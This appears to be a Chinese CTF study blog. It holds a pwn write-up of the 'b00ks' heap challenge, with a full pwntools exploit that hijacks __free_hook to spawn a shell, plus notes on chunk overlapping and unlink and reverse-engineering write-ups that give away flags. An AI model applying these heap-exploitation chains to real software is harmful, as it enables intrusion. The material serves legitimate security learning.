b00ks 0x555555602040 0x67616c66 /* 'flag' */
libc-2.31.so 0x7ffff7dd938b 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddbf01 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddc336 0x7563007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f77de0 0x6f4e007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f7ec06 'flags & PRINTF_FORTIFY) != 0'
ld-2.31.so 0x7ffff7ff5213 0x642f002967616c66 /* 'flag)' */
ld-2.31.so 0x7ffff7ff5d3e 'flag value(s) of 0x%x in DT_FLAGS_1.\\n'
ld-2.31.so 0x7ffff7ff6745 'flags & DL_LOOKUP_RETURN_NEWEST)'
pwndbg> x/20xg 0x555555602040//打印地址
0x555555602040: 0x0000000067616c66 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000
0x555555602080: 0x0000000000000000 0x0000000000000000
#0x00005555556036f0该地址用来存放malloc创造的list地址

当我进行下面操作://需要调试list1_addr的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)

create(0xe0, 'aaaa', 0xe0, 'bbbb')
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\\n')[:-1].ljust(8,'\\x00'))
#list1——addr就是555555603600这个值
pwndbg> x/20gx 0x555555602040
0x555555602040: 0x6161616161616161 0x6161616161616161
0x555555602050: 0x6161616161616161 0x6161616161616161
0x555555602060: 0x0000555555603600 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000

发现0x00005555556036f0最后两位变成了\X00,就是off-by-one,这样程序会认为该地址0x555555603600才是list的地址,我们直接看一下布局:

1
2
3
4
5
pwndbg> x/20xg 0x555555602040
0x555555602040: 0x0000786b6b687779 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000555555603760 #list_1 & list_2
0x555555602070: 0x0000000000000000 0x0000000000000000

可以发现0x00005555556036f0存的是list1堆地址起始地址(不包括size)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x5555556036a0:	0x0000000000000000	0x0000000000000021
0x5555556036b0: 0x0000000071717171 0x0000000000000000 #list_1_bookname
0x5555556036c0: 0x0000000000000000 (pre_size)
0x0000000000000021
0x5555556036d0: 0x0000000077777777 0x0000000000000000 #list_1_description
0x5555556036e0: 0x0000000000000000 (pre_size)
0x0000000000000031
0x5555556036f0: 0x0000000000000001 0x00005555556036b0 #list_1
0x555555603700: 0x00005555556036d0 0x0000000000000004

0x555555603710: 0x0000000000000000 0x0000000000000021
0x555555603720: 0x0000000065656565 0x0000000000000000 #list_2_bookname
0x555555603730: 0x0000000000000000 0x0000000000000021
0x555555603740: 0x0000000072727272 0x0000000000000000 #list_2_description
0x555555603750: 0x0000000000000000 0x0000000000000031
0x555555603760: 0x0000000000000002 0x0000555555603720 #list_2
0x555555603770: 0x0000555555603740 0x0000000000000004
0x555555603780: 0x0000000000000000 0x0000000000020881

那么,我创建list1和list2,并且修改list1的decription时:

1
2
3
4
5
6
create(0xe0, 'aaaa', 0xe0, 'bbbb')
create(0x21000, 'cccc', 0x21000, 'dddd')
payload = 'a' * 0x60 + p64(1) + p64(book2_control_ptr + 8) * 2 + p64(0x1000)
change(1,payload)
0x5555556036f0: 0x0000000000000001id0x00005555556036b0(bookname_addr) #list_1
0x555555603700: 0x00005555556036d0(description_addr) 0x0000000000000004(size)

heap空间布局如下:

1
2
3
0x55c18a470400:	0x0000000000000001	0x000055c18a4704c8	#fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000
该处虚假的list,p位设为0,程序会把这个地方识别为list1

这个地址就是list2的name地址,获取这个地址是要求libc_base,因为list2开辟空间太大,使用mmap函数开辟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x563fc9c00000 0x563fc9c02000 r-xp 2000 0 /home/ywhkkx/桌面/b00ks
0x563fc9e01000 0x563fc9e02000 r--p 1000 1000 /home/ywhkkx/桌面/b00ks
0x563fc9e02000 0x563fc9e03000 rw-p 1000 2000 /home/ywhkkx/桌面/b00ks
0x563fcb86d000 0x563fcb88e000 rw-p 21000 0 [heap]
0x7ff6d3dcf000 0x7ff6d3e13000 rw-p 44000 0 [anon_7ff6d3dcf]
0x7ff6d3e13000 0x7ff6d3e38000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3e38000 0x7ff6d3fb0000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3fb0000 0x7ff6d3ffa000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3ffa000 0x7ff6d3ffb000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
-------------------------------------------------------------------------
[+] bookname2 >>0x7ff6d3df1010
libc = 0x7ff6d3e13000 - bookname2
pwndbg> x/60xg 0x55c18a470390
0x55c18a470390: 0x0000000000000000 0x00000000000000f1
0x55c18a4703a0: 0x6161616161616161 0x6161616161616161 #list_1_description
0x55c18a4703b0: 0x6161616161616161 0x6161616161616161
0x55c18a4703c0: 0x6161616161616161 0x6161616161616161
0x55c18a4703d0: 0x6161616161616161 0x6161616161616161
0x55c18a4703e0: 0x6161616161616161 0x6161616161616161
0x55c18a4703f0: 0x6161616161616161 0x6161616161616161
0x55c18a470400: 0x0000000000000001 0x000055c18a4704c8 #fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000
0x55c18a470420: 0x0000000000000000 0x0000000000000000
0x55c18a470430: 0x0000000000000000 0x0000000000000000
0x55c18a470440: 0x0000000000000000 0x0000000000000000
0x55c18a470450: 0x0000000000000000 0x0000000000000000
0x55c18a470460: 0x0000000000000000 0x0000000000000000
0x55c18a470470: 0x0000000000000000 0x0000000000000000
0x55c18a470480: 0x0000000000000000 0x0000000000000031
0x55c18a470490: 0x0000000000000001 0x000055c18a4702b0 #list_1
0x55c18a4704a0: 0x000055c18a4703a0 0x00000000000000e0
0x55c18a4704b0: 0x0000000000000000 0x0000000000000031
0x55c18a4704c0: 0x0000000000000002 0x00007fee78052010 #list_2
0x55c18a4704d0: 0x00007fee78030010 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

接下来可以用free_hook来getshell

1
2
3
4
5
6
7
8
9
10
11
libc_base = bookname2 + 0x21ff0 
success('libc_base >>'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
#one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >>'+hex(system))

change(1, p64(bin_sh) + p64(free_hook))
change(2, p64(system))
free(2)

其实就是求出binsh,freehook,system地址,然后再次放到list1里进行伪造

1
2
3
4
5
6
0x55c18a470400:	0x0000000000000001	0x000055c18a4704c8	#fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000 #fake_description(list_2)
0x55c18a470420: 0x0000000000000000 0x0000000000000000
0x55c18a4704c0: 0x0000000000000002 addr("/bin/sh") #list_2
0x55c18a4704d0: addr(free_hook) 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

执行free(2),就会和上面的合并,也就是执行freehook挂钩的system函数(不是很理解)

下面是真正的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import*

p=process('./b00ks')
elf=ELF('./b00ks')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context(log_level='debug')

def create(len_book,bookname,len_description,description):
p.sendlineafter('> ','1')
p.sendlineafter('Enter book name size: ',str(len_book))
p.sendlineafter('(Max 32 chars): ',bookname)
p.sendlineafter('description size: ',str(len_description))
p.sendlineafter('description: ',description)

def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))

def change(index,description):
p.sendlineafter('> ','3')
p.sendlineafter('want to edit: ',str(index))
p.sendlineafter('book description: ',description)

def show():
p.sendlineafter('> ','4')

def change_name(name):
p.sendlineafter('> ', '5')
p.sendlineafter(': ', name)

p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)
#在 0x555555602040处写入32个a,会覆盖第33位,但并没有创建结构体,所以并没有用到off-by-one
create(0xe0, 'aaaa', 0xe0, 'bbbb')
#创建结构体,在aaaaa下面的地址,地址是:0x0000557c2a0e9490
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
#list1_addr是0x0000557c2a0e9490
list2_addr=list1_addr+0x30
#list2_addr指向了list1结构体后的一个结构体,如果再创建一个结构体,它就会指向下一个结构体头,地址是:0x557c2a0e94c0

success("list1_addr >> "+hex(list1_addr))
success("list2_addr >> "+hex(list2_addr))

create(0x21000, 'cccc', 0x21000, 'dddd')
#创建list2,这个list2在list1结构体后,其中name和description指向的堆地址是0x00007f7b27812010,与0x557xxx不一样,是因为开辟空间太大,采用了mmap开辟
payload = 'a' * 0x60 + p64(1) + p64(list2_addr + 8) * 2 + p64(0x1000)
change(1,payload)

change_name('a'*0x20)
show()
p.recvuntil('Name: ')
bookname2 = u64(p.recv(6).ljust(8, '\x00'))
success('bookname2 >> '+hex(bookname2))
#继续使用off-by-one泄露bookname2(list2)的地址,libc_base(已知) - bookname2就是偏移
libc_base = bookname2 + 0x21ff0
success('libc_base >> '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >> '+hex(system))

#gdb.attach(p)
#pause()
#通过对构造的fake_list进行写,那为什么不直接change(2)进行写呢,因为写这个操作是对结构体中的地址里的内容进行写,而不是直接覆盖结构体中的地址,(此时list1已经被fake代替,而list2还是list2)
change(1, p64(bin_sh) + p64(free_hook))
pause()
#对list2中的description也就是freehook的地址内的东西进行改写,而不是直接覆盖freehook在list2结构的地址
change(2, p64(system))
#free(2)会完成system(’bin_sh‘)操作
free(2)

p.interactive()

那这个题的利用思路就很明确了,当输入author时,会触发off-by-one,就是会多写一个字节,然后创建结构体,这个结构体的地址会覆盖掉那个字节,所以我们可以泄露出list1结构体的地址。接下来,我们构建fake_list,fake_list通过覆盖list1的description来写入,当构造完毕,真正的list1已经被fake_list替换,接下来再创建一个结构体2,这个结构体是为了泄露libc_base地址,当拿到system,binsh,freehook地址时,通过对fakelist的description改写(进入0x0000558149b824c8,改写他的值为binsh,freehook值 ),接下来(进入0x00007fb9c96ce010 ,改写他的值为system),free(2)就可以完成攻击shell操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x558149b82400: 0x0000000000000001      0x0000558149b824c8 fakelist
0x558149b82410: 0x0000558149b824c8 0x0000000000001000
0x558149b82420: 0x0000000000000000 0x0000000000000000
0x558149b82430: 0x0000000000000000 0x0000000000000000
0x558149b82440: 0x0000000000000000 0x0000000000000000
0x558149b82450: 0x0000000000000000 0x0000000000000000
0x558149b82460: 0x0000000000000000 0x0000000000000000
0x558149b82470: 0x0000000000000000 0x0000000000000000
0x558149b82480: 0x0000000000000000 0x0000000000000031
0x558149b82490: 0x0000000000000001 0x0000558149b822b0list1
0x558149b824a0: 0x0000558149b823a0 0x00000000000000e0
0x558149b824b0: 0x0000000000000000 0x0000000000000031
0x558149b824c0: 0x0000000000000002 0x00007fb9c96f0010list2
0x558149b824d0: 0x00007fb9c96ce010 0x0000000000021000

chunk extend and overlapping

chunk extend是对漏洞的常见利用手法,通过extend可以实现chunk overlapping效果,需要程序中存在堆的漏洞并且漏洞可以控制chunk header中的数据

原理:chunk extend能产生的原因在于ptmalloc在对堆chunk进行操作时使用的各种宏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
获取chunk块的大小
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
获取下一块chunk大小
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
获取前一个chunk信息的操作
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
判断chunk是否处于use状态
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

总而言之,ptmalloc通过chunk header的数据判断chunk的使用核对chunk的前后块定位,那么就可用chunk extend 就是通过控制size和pre_size实现跨块操作,导致overlapping。

具体说明:

1、对inuse的fastbin的extend

创建两个chunk(0x10),修改第一个chunk的size使得size=chunk1.size+chunk2.size,这时候free(chunk1),发现chunk1和chunk2合成了一个chunk进行释放,接下来再通过malloc就可以得到chunk1+chunk2,取得chunk2中的内容,这种状态叫做overlapping chunk。

2、对inuse的smallbin的extend

因为处于fastbin范围内的chunk释放后会放入fastbin链表(最大是0x70),不处于这个范围内的chunk会进入unsortedbin,创建一个0x80的chunk和0x10的chunk,将0x80的size改为0xb1,然后free,chunk1和chunk2会吞入unsorted bin,如果malloc(0xa0)就会取出chunk1和chunk2

3、对free的smallbin进行extend

与2一样,但这次先free(chunk1),然后再修改size,chunk1在free后会进入unsortedbin,然后改size,接下来再malloc就可以得到chunk1+chunk2

一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。

此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。

4、通过extend后向overlapping

进行4次malloc(0x10),然后把第一个的size改成0x61,然后free,接下来malloc(0x50),其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。

5、通过extend向前overlapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块

}

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

unlink其实就是将双向链表中的free块拿出来,运用漏洞时就是修改chunk的内存布局,借助unlink操作修改指针

image-20230331190125023

程序进行unlink时进行检查操作

1
2
3
4
5
6
7
8
9
10
11
// 由于'P'已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");

// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

// 检查 largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)", P, AV);

就是指:

chunkP的下一个chunk的上一个chunk是不是chunkP

chunkP的上一个chunk的下一个chunk是不是chunkP‘9

攻击原理:

unlink的检查不是那么完美,只会根据相对地址来检查,他始终会认为chunk_head + 0x8的位置presize

所以可以用来欺骗程序

如何利用?

首先要知道堆创建后,如果free,他仍然会保留在那个位置,数据不会被抹除,只是size的p位被改变,然后要知道如果一个chunk被释放,会检查这个chunk相邻的chunk是否为free状态,如果free则要进行合并(向前和向后合并),合并时需要将空闲chunk从原来bin中unlink,并将合并后的chunk放入unsorted bin中。

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
char *first, *second;
first = malloc(666);
second = malloc(12);
if (argc != 1)
strcpy(first, argv[1]);
free(first);
free(second);
return 0;
}

RCTF

本次比赛打的很出色,出了3道re和2道misc,而这次也是几乎全是21级在战斗,取得了11名的成绩,和几位逆向大哥一起看到通宵,最后只差两道就ak了逆向。

image-20221221111548001

RE

CheckYourKey

一道安卓题,通过jni动态调用了ooxx函数,主要加密流程是先aes再base58最后base64,数据通过交叉引用可以还原,base64换表了,其他都没变,aes的key是:goodlucksmartman,先解base64再解base58,最后aes得到flag:flag{rtyhgf!@#$}。像这种题:jni里调用了ooxx函数,但本身jni又有加密(与ooxx)里的加密一样,其实真正加密处理是在jni中,对比数据也是,所以只用看jni里的就ok。

首先定位到JNI_ONLOAD,函数中包括这一段

1
2
3
4
5
6
7
8
if ( (unsigned int)sub_17B34((__int64)vm, (__int64)&v27, 0x10006u) )
{
v5 = -1;
}
else
{
v3 = sub_17B80(v27, (__int64)byte_41190);
v46 = sub_8965;

sub_8965函数中是真正加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( a3 && (unsigned int)sub_16254((__int64)x0_0, a3) == 16 )
{
v10 = sub_14F70(x0_0, a3, 0LL);
v9 = (_QWORD *)operator new[](0x10uLL);
v9[1] = 0LL;
*v9 = 0LL;
aes(v10, (__int64)byte_41140, (__int64)v9);
v8 = (char *)base58((__int64)v9, 0x10uLL);
v7 = strlen(v8);
s1 = (char *)malloc(2 * v7);
memset(s1, 0, 2 * v7);
base64((__int64)v8, v7, (__int64)s1);
v21 = strlen(byte_41088);
v22 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);

picStore

这个题跟超人和zzy从早上看到晚上8点多mad,

2022安洵杯

可能是因为看了一晚上球的原因,这天状态相当不好,赛后还是要好好反思和复现

reeee

这个题就是个rc4,没什么意思

RE1

首先主函数大概是一个加载驱动类的写法,但其实都不重要,重要的是不知道怎么调试,所以当时一直在搜索,其实找到逻辑直接分析就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __stdcall sub_4015C0(int a1, int a2)
{
SERVICE_STATUS_HANDLE v2; // eax
_WORD *v3; // ecx
_WORD *v4; // edx
char v6[76]; // [esp+8h] [ebp-50h] BYREF

v2 = RegisterServiceCtrlHandlerW(L"SvcTest", HandlerProc);
hServiceStatus = (int)v2;
if ( v2 )
{
ServiceStatus.dwCurrentState = 4;
SetServiceStatus(v2, &ServiceStatus);
if ( a1 != 2 )
{
while ( 1 )
{
OutputDebugStringW(L"[SvcTest] service is running...");
OutputDebugStringW(L"maybe you should input something");
Sleep(0xBB8u);
}
}
v3 = *(_WORD **)(a2 + 4);
v4 = v3 + 1;
while ( *v3++ )
;
if ( v3 - v4 == 12 )
{
dword_4055C0 = 0;
*(_QWORD *)Dest = 0i64;
byte_4055C4 = 0;
wcstombs(Dest, *(const wchar_t **)(a2 + 4), 0xCu);
memset(v6, 0, 0x48u);
sub_4011D0(v6);
sub_401280(v6);
sub_4012D0();
JUMPOUT(0x4016CB);
}
OutputDebugStringW(L"wrong lenth!!!");
}
else
{
OutputDebugStringW(L"RegisterServiceCtrlHandler() failed!!!");
}
}

输入是12位,sub_4011D0是初始化,通过sub_401280函数进行对opcode的调用,sub_4012D0是进行对比

先看初始化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __thiscall sub_4011D0(_DWORD *this)
{
_DWORD *v1; // esi

*this = 0;
this[1] = 0;
this[2] = 0;
this[3] = &opcode;
*((_BYTE *)this + 16) = 0xF1;
this[5] = change;
*((_BYTE *)this + 24) = 0xF2;
this[7] = xor;
*((_BYTE *)this + 32) = 0xF5;
this[9] = read;
*((_BYTE *)this + 40) = 0xF6;
this[11] = shift;
*((_BYTE *)this + 48) = 0xF8;
this[13] = add;
*((_BYTE *)this + 56) = 0xF9;
this[15] = sub;
v1 = malloc(0x512u);
DstBuf = v1;
memset(v1, 0, 0x512u);
*(_QWORD *)v1 = *(_QWORD *)Dest;
v1[2] = num;
qmemcpy(v1 + 12, "abcdefghijkl", 12);
return 1818978921;
}

再看调用方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __thiscall sub_401280(_DWORD *this)
{
char op; // dl
int index; // eax
_BYTE *v4; // ecx

this[3] = &opcode;
for ( op = opcode; op != (char)0xF4; op = *(_BYTE *)this[3] )
{
index = 0;
v4 = this + 4;
while ( op != *v4 )
{
++index;
v4 += 8;
if ( index >= 7 )
goto LABEL_7;
}
((void (__cdecl *)(_DWORD *))this[2 * index + 5])(this);
LABEL_7:
;
}
}

这个调用是通过调用this的数组进行的,判断的是op==this[4*i],然后进行执行this[2 * index + 5]的方法,最后下图比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __noreturn sub_4012D0()
{
int v0; // eax

v0 = 0;
while ( *((_BYTE *)DstBuf + v0 + 64) == byte_403700[v0] )
{
if ( ++v0 >= 12 )
{
OutputDebugStringW(L"you are right");
exit(0);
}
}
OutputDebugStringW(L"wrong!!!");
exit(0);
}

接下来就是逆了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
opcode = [0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x30, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x20, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x31, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x32, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x22, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x33, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x23, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x34, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x35, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x25, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x36, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x26, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x37, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x38, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x09, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x39, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x29, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0A, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x3A, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x0B, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x3B, 0x00, 0x00, 0x00, 0xF2, 0xF6, 0xF1, 0xE4, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x20, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x21, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0xA4, 0xF2, 0xF9, 0xE1, 0x05, 0xF1, 0xE4, 0x40, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x21, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x22, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x70, 0xF2, 0xF9, 0xE1, 0x97, 0xF1, 0xE4, 0x41, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x22, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x23, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x4F, 0xF2, 0xF9, 0xE1, 0x79, 0xF1, 0xE4, 0x42, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x23, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x24, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0xD3, 0xF2, 0xF9, 0xE1, 0x47, 0xF1, 0xE4, 0x43, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x24, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x25, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x5F, 0xF2, 0xF9, 0xE1, 0x92, 0xF1, 0xE4, 0x44, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x25, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x26, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x03, 0xF2, 0xF9, 0xE1, 0x4A, 0xF1, 0xE4, 0x45, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x26, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x27, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x08, 0xF2, 0xF9, 0xE1, 0xBD, 0xF1, 0xE4, 0x46, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x27, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x28, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x28, 0xF2, 0xF9, 0xE1, 0x39, 0xF1, 0xE4, 0x47, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x28, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x29, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x7F, 0xF2, 0xF9, 0xE1, 0x29, 0xF1, 0xE4, 0x48, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x29, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x2A, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x29, 0xF2, 0xF9, 0xE1, 0x3B, 0xF1, 0xE4, 0x49, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x2A, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x2B, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0x37, 0xF2, 0xF9, 0xE1, 0xC1, 0xF1, 0xE4, 0x4A, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x2B, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x40, 0x00, 0x00, 0x00, 0xF8, 0xE2, 0xBA, 0xF2, 0xF9, 0xE1, 0xD1, 0xF1, 0xE4, 0x4B, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00]
this = [0] * 16
this[0] = 0
this[1] = 0
this[2] = 0
this[3] = "opcode"
this[4] = 0xf1
this[5] = "change"
this[6] = 0xf2
this[7] = "xor"
this[8] = 0xf5
this[9] = "mov"
this[10] = 0xf6
this[11] = "shift"
this[12] = 0xf8
this[13] = "add"
this[14] = 0xf9
this[15] = "sub"
v1 = "xxxxxxxxxxxxabcdefghijkl"
print(len(v1))
i = 0
arr = [0] * 300
while (opcode[i] != 0xf4):
op = opcode[i]
if op == 0xf1:
a1 = opcode[i + 1]
a2 = opcode[i + 2]
if a1 == 0xe1:
print("arr[0] = dstbuf[%d]" % a2)
if a1 == 0xe2:
print("arr[1] = dstbuf[%d]" % a2)
if a1 == 0xe3:
print("arr[2] = dstbuf[%d]" % a2)
if a1 == 0xe4:
print("dstbuf[%d] = arr[0]" % a2)
i += 6

elif op == 0xf2:
a2 = opcode[i + 1]
print("arr[0] ^= arr[1]")
i += 1

elif op == 0xf5:
print("read input")
i += 1

elif op == 0xf6:
a2 = opcode[i + 1]
print("arr[0] = (2 << arr[0]) | (arr[0] >> 6)")
i += 1

elif op == 0xf8:
a1 = opcode[i + 1]
a2 = opcode[i + 2]
if a1 == 0xe1:
print("arr[0] += %d" % a2)
if a1 == 0xe2:
print("arr[1] += %d" % a2)
if a1 == 0xe3:
print("arr[2] += %d" % a2)
i += 3
elif op == 0xf9:
a1 = opcode[i + 1]
a2 = opcode[i + 2]
